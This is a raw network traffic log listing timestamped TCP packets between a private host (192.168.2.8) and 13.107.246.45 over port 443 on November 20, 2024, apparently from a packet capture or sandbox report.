Nov 20, 2024 03:21:41.003149986 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.003387928 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.003397942 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.004913092 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.005121946 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.005147934 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.005395889 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.005402088 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.074246883 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.074631929 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.074665070 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.074978113 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.074989080 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.092612028 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.093025923 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.093089104 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.093130112 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.093130112 CET	49852	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.093156099 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.093172073 CET	443	49852	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.096766949 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.096808910 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.096900940 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.097228050 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.097244978 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.098860025 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.098901987 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.098948002 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.099121094 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.099132061 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.099139929 CET	49850	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.099144936 CET	443	49850	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.101710081 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.101758957 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.101840019 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.101958036 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.101986885 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.104639053 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.104785919 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.104860067 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.104902983 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.104902983 CET	49853	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.104924917 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.104942083 CET	443	49853	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.105526924 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.105660915 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.105712891 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.105736017 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.105736017 CET	49851	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.105746984 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.105755091 CET	443	49851	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.107116938 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107165098 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.107225895 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107357025 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107374907 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.107676983 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107707024 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.107764959 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107880116 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.107899904 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.185462952 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.185512066 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.185555935 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.185628891 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.185648918 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.185668945 CET	49854	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.185676098 CET	443	49854	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.187488079 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.187513113 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.187563896 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.187660933 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.187680006 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.753546953 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.753602982 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.753772020 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.754116058 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.754146099 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.754184961 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.754192114 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.754569054 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.754580021 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.754601955 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.754606009 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.754853010 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.754900932 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.755299091 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.755327940 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.775511026 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.778004885 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.778017998 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.778326988 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.778331995 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.824810028 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.826119900 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.826181889 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.826539993 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.826554060 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.854055882 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.854206085 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.854286909 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.854445934 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.854445934 CET	49858	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.854464054 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.854474068 CET	443	49858	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.854876995 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.855040073 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.855101109 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.855245113 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.855267048 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.855282068 CET	49857	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.855288982 CET	443	49857	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.855597019 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.855755091 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.856975079 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857014894 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.857033014 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857033968 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857059956 CET	49855	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857073069 CET	443	49855	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.857079983 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857707977 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.857721090 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.857970953 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.858040094 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.858103991 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.858200073 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.858230114 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.858839989 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.858850002 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.862086058 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.862184048 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.862199068 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.881055117 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.881103039 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.881158113 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.881324053 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.881347895 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.881361008 CET	49856	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.881366968 CET	443	49856	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.882900953 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.882915020 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.883033991 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.883137941 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.883150101 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.924710989 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.924771070 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.925823927 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.925858974 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.925875902 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.925896883 CET	49859	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.925904036 CET	443	49859	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.927562952 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.927611113 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:41.927686930 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.927793980 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:41.927809954 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.515749931 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.516280890 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.516330004 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.516714096 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.516722918 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.519923925 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.520250082 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.520260096 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.520600080 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.520613909 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.522531986 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.522826910 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.522845030 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.523158073 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.523164034 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.590912104 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.591434002 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.591486931 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.591861963 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.591881037 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.612174988 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.612586021 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.612616062 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.613020897 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.613027096 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.622601986 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.622762918 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.622818947 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.622859955 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.622879028 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.622891903 CET	49862	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.622898102 CET	443	49862	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.623068094 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.623111010 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.623245001 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.623333931 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.623359919 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.623373985 CET	49863	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.623382092 CET	443	49863	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.627208948 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627265930 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627300978 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.627348900 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.627384901 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627413034 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627496004 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627511024 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.627574921 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.627599001 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.628070116 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.628222942 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.628277063 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.628304958 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.628310919 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.628324032 CET	49861	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.628329039 CET	443	49861	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.629801989 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.629872084 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.629964113 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.630039930 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.630070925 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.711266041 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.711349964 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.711405993 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.711565018 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.711590052 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.711602926 CET	49864	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.711607933 CET	443	49864	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.714442968 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.714478970 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.714680910 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.714680910 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.714709997 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.781866074 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.782037973 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.782110929 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.782151937 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.782174110 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.782181025 CET	49860	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.782190084 CET	443	49860	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.784260035 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.784288883 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:42.784351110 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.784472942 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:42.784481049 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.269237041 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.269732952 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.269809008 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.270181894 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.270196915 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.295845032 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.296180964 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.296212912 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.296528101 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.296540022 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.306351900 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.306782007 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.306871891 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.307086945 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.307102919 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.368983984 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.369142056 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.369215965 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.369311094 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.369311094 CET	49867	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.369353056 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.369376898 CET	443	49867	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.371876001 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.371922970 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.372091055 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.372184038 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.372189045 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.391083002 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.391568899 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.391586065 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.392131090 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.392136097 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.400789022 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.400844097 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.400913000 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.400955915 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.400955915 CET	49865	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.400975943 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.400989056 CET	443	49865	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.402651072 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.402689934 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.402770042 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.402872086 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.402884007 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.418915987 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.419087887 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.419310093 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.419425011 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.419425964 CET	49866	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.419470072 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.419500113 CET	443	49866	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.420984983 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.421047926 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.421130896 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.421238899 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.421261072 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.462502956 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.462934017 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.462956905 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.463287115 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.463291883 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.496001005 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.496063948 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.496145010 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.496202946 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.496202946 CET	49868	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.496215105 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.496222973 CET	443	49868	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.498042107 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.498151064 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.498234987 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.498348951 CET	49873	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.498366117 CET	443	49873	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.564483881 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.564651966 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.564707041 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.565502882 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.565516949 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.565526962 CET	49869	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.565531969 CET	443	49869	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.567461967 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.567552090 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:43.567640066 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.567763090 CET	49874	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:43.567796946 CET	443	49874	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.017914057 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.022491932 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.022511959 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.022900105 CET	49870	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.022906065 CET	443	49870	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.038851023 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.039211988 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.039226055 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.039572954 CET	49871	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.039577007 CET	443	49871	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.067778111 CET	443	49872	13.107.246.45	192.168.2.8
Nov 20, 2024 03:21:44.068109989 CET	49872	443	192.168.2.8	13.107.246.45
Nov 20, 2024 03:21:44.068162918 CET	443	49872	13.107.246.45	192.168.2.8
